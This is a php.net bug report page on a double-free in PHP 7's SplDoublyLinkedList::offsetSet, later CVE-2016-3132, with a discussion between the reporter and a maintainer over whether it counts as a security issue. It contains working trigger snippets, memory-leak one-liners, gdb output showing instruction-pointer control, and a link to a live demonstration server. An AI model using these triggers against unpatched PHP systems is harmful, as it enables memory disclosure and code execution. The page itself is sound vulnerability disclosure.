php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71735 Double-free in SplDoublyLinkedList::offsetSet
Submitted: 2016-03-07 23:31 UTC Modified: 2016-05-10 13:42 UTC
From: emmanuel dot law at gmail dot com Assigned: ab (profile)
Status: Closed Package: SPL related
PHP Version: 7.0.4 OS: *
Private report: No CVE-ID: 2016-3132
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: emmanuel dot law at gmail dot com
New email:
PHP Version: OS:

 

 [2016-03-07 23:31 UTC] emmanuel dot law at gmail dot com
Description:
------------
This issues only affects php 7.x branch.
There exist a double-free vulnerability when calling SplDoublyLinkedList::offsetSet and passing in an invalid index.

Example:

$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01'));
//DateTime will be double-freed

The vulnerability is in ext/spl_dllist.c:833 where it is freed once:

 832                 if (index < 0 || index >= intern->llist->count) {
 833                         zval_ptr_dtor(value);
 834                         zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
 835                         return;
 836                 }
 837
 
 
 The second free occurs in Zend/zend_vm_execute.h:855 when it cleans up the call stack:

  854                 EG(current_execute_data) = call->prev_execute_data;
  855                 zend_vm_stack_free_args(call);
  
  
  
I've created a poc that exploits this to gain code execution:
 
gdb --args php_7.0.4 doublefree.spl_dllist.poc.php
....
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ p $rip
$1 = (void (*)()) 0xdeadbeef



POC can be obtained via https://www.dropbox.com/s/2tm8mlrdhfitymv/doublefree.SplStack.poc.php?dl=0


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-03-21 05:17 UTC] stas@php.net
Doesn't look like a security issue - requires specially crafted code to reproduce the bug.
 [2016-03-21 06:10 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-03-21 06:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=28a6ed9f9a36b9c517e4a8a429baf4dd382fc5d5
Log: Fix bug #71735: Double-free in SplDoublyLinkedList::offsetSet
 [2016-03-21 06:11 UTC] stas@php.net
-Status: Open +Status: Closed
 [2016-03-21 06:19 UTC] emmanuel dot law at gmail dot com
-Status: Closed +Status: Open -Type: Bug +Type: Security -Private report: No +Private report: Yes
 [2016-03-21 06:19 UTC] emmanuel dot law at gmail dot com
The specially crated code i gave was to gain remote code execution. 

Here are several simpler examples that leak the memory. Notice how each time I change the length of str_repeat, it leaks different part of the memory:

#### Example 1, str_repeat 0x5 #####

$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x05));'    <<< string length 
  
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'function')       <<<<<< Leaks 'function'
#1 {main}
  thrown in Command line code on line 1



#### Example 2, str_repeat 0x15 #####


$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x15));'

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, '\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00...')  <<<<<< Leaks random bytes in memory
#1 {main}
  thrown in Command line code on line 1



#### Example 3, str_repeat 0x20 #####

$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x20));'

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'OutOfRangeExcep...')     <<<<<< Leaks other strings in memory
#1 {main}
  thrown in Command line code on line 1



#### Example 4 str_repeat 0x30 #####

$ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x30));'

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'AAAAAAAAAAAAAAA...')    <<< this is the expected output.
#1 {main}
  thrown in Command line code on line 1



This discrepancies in the output are all manifestation of the double free vulnerability. Depending on what is passed into the vulnerable function, it results in different form of exploitation. Thus I think it's a security issue. Imagine a plausible code such as:

<?php
new SplStack())->offsetSet($_GET['id'],$_GET['data']);

?>
 [2016-03-21 06:35 UTC] stas@php.net
I'm sorry, I'm not sure I understand - all your examples are constructed code run on the command line, so how that comes to remote exploit? Also, you reopened the bug - did you mean you still can reproduce it? I could not reproduce it with your examples after the fix, could you please provide more information about what do you see after the fix?
 [2016-03-21 06:35 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-03-21 06:35 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-03-21 07:50 UTC] emmanuel dot law at gmail dot com
-Status: Feedback +Status: Closed
 [2016-03-21 07:50 UTC] emmanuel dot law at gmail dot com
1) Didn't mean to re-open the bug. Was a race condition when both you and I were replying.

2)Here's my last word on why I think it is a security bug. I'll leave the final decision to you.

==Remote Scenario (nginx)==
Here's a remote exploit that leaks the the memory on server:
Vuln: http://52.63.107.251/71750.php?id=0&times=100
Source code: http://52.63.107.251/71750.php.src


Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in /usr/share/nginx/html/71750.php:6 Stack trace: #0 /usr/share/nginx/html/71750.php(6): SplDoublyLinkedList->offsetSet('0', '`<\x96\xA6\xD5\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00...') #1 {main} thrown in /usr/share/nginx/html/71750.php on line 6

===Local scenario===
It is possible to gain (local) code execution within harden php environment where functions such as exec() or system() are disabled. EG: Harden production environment or sites such as sandbox.onlinephpfunctions.com and 3v4l.org
 [2016-03-21 07:51 UTC] emmanuel dot law at gmail dot com
Also, the patch works. So either way problem is solved.
 [2016-04-29 02:22 UTC] emmanuel dot law at gmail dot com
CVE-2016-3132 has been assigned to this. FYI.
 [2016-05-10 13:42 UTC] ab@php.net
-Assigned To: +Assigned To: ab -CVE-ID: +CVE-ID: 2016-3132
 [2016-07-20 11:32 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=28a6ed9f9a36b9c517e4a8a429baf4dd382fc5d5
Log: Fix bug #71735: Double-free in SplDoublyLinkedList::offsetSet
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC